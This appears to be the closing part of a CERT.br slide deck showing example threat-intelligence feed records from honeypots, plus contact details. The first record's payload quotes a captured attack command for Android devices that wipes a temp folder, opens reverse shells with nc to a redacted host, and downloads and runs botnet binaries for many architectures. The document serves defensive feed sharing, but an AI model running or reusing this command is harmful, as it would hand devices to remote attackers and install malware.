    "data": "shell:cd /data/local/tmp/; rm *; rm -rf /data/local/tmp/f; mkfifo /data/local/tmp/f; cat
  /data/local/tmp/f|/system/bin/sh -i 2>&1|nc <IP_1> 12325 >/data/local/tmp/f & rm -rf /tmp/f; mkfifo /tmp/f; cat
  /tmp/f|/bin/sh -i 2>&1|nc <IP_1> 12325 >/tmp/f & (timeout 5 nc <IP_1> 9955 > bot || nc -w 3 <IP_1> 9955 > bot || (nc <IP_1>
  9955 > bot & sleep 5)) & sleep 2; chmod 777 bot 2>/dev/null; ./bot android & busybox wget http://<IP_2>:235/arm.kok; curl
  http://<IP_2>:235/arm.kok -O; chmod +x arm.kok; ./arm.kok android; busybox wget http://<IP_2>:235/arm5.kok; curl
  http://<IP_2>:235/arm5.kok -O; chmod +x arm5.kok; ./arm5.kok android; busybox wget http://<IP_2>:235/arm6.kok; curl
  http://<IP_2>:235/arm6.kok -O; chmod +x arm6.kok; ./arm6.kok android; busybox wget http://<IP_2>:235/arm7.kok; curl
  http://<IP_2>:235/arm7.kok -O; chmod +x arm7.kok; ./arm7.kok android; busybox wget http://<IP_2>:235/x86_32.kok; curl
  http://<IP_2>:235/x86_32.kok -O; chmod +x x86_32.kok; ./x86_32.kok android; busybox wget http://<IP_2>:235/x86_64.kok; curl
  http://<IP_2>:235/x86_64.kok -O; chmod +x x86_64.kok; ./x86_64.kok android; busybox wget http://<IP_2>:235/mips.kok; curl
  http://<IP_2>:235/mips.kok -O; chmod +x mips.kok; ./mips.kok android; busybox wget http://<IP_2>:235/mipsel.kok; curl
  http://<IP_2>:235/mipsel.kok -O; chmod +x mipsel.kok; ./mipsel.kok android\u0000"
  }
}
```

Feed Data Format Example – Agnostic Listener

TLP:CLEAR


```
{
  "timestamp": "2026-02-01T00:51:43.485Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 1900,
  "src_hostname": "<SRC_PTR>",
  "src_cc": "CH",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "proto": "UDP",
  "dst_port": 8081,
  "payload": {
    "app_proto": "unknown",
    "size": 42,
    "ascii": false,
    "data": "<BINARY_DATA>"
  }
}
```

Thank You!

@ Feed requests to: feeds@cert.br

@ Incident reports to: cert@cert.br

X @certbr

https://cert.br/

nic.br cgi.br

www.nic.br | www.cgi.br